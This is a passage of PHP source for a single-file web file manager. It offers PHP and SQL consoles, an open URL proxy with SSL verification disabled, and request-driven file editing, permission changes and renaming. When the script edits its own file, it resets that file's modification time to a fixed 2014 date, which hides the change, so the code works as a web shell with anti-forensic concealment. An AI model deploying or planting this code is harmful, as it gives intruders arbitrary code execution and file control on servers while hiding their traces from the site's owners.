<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
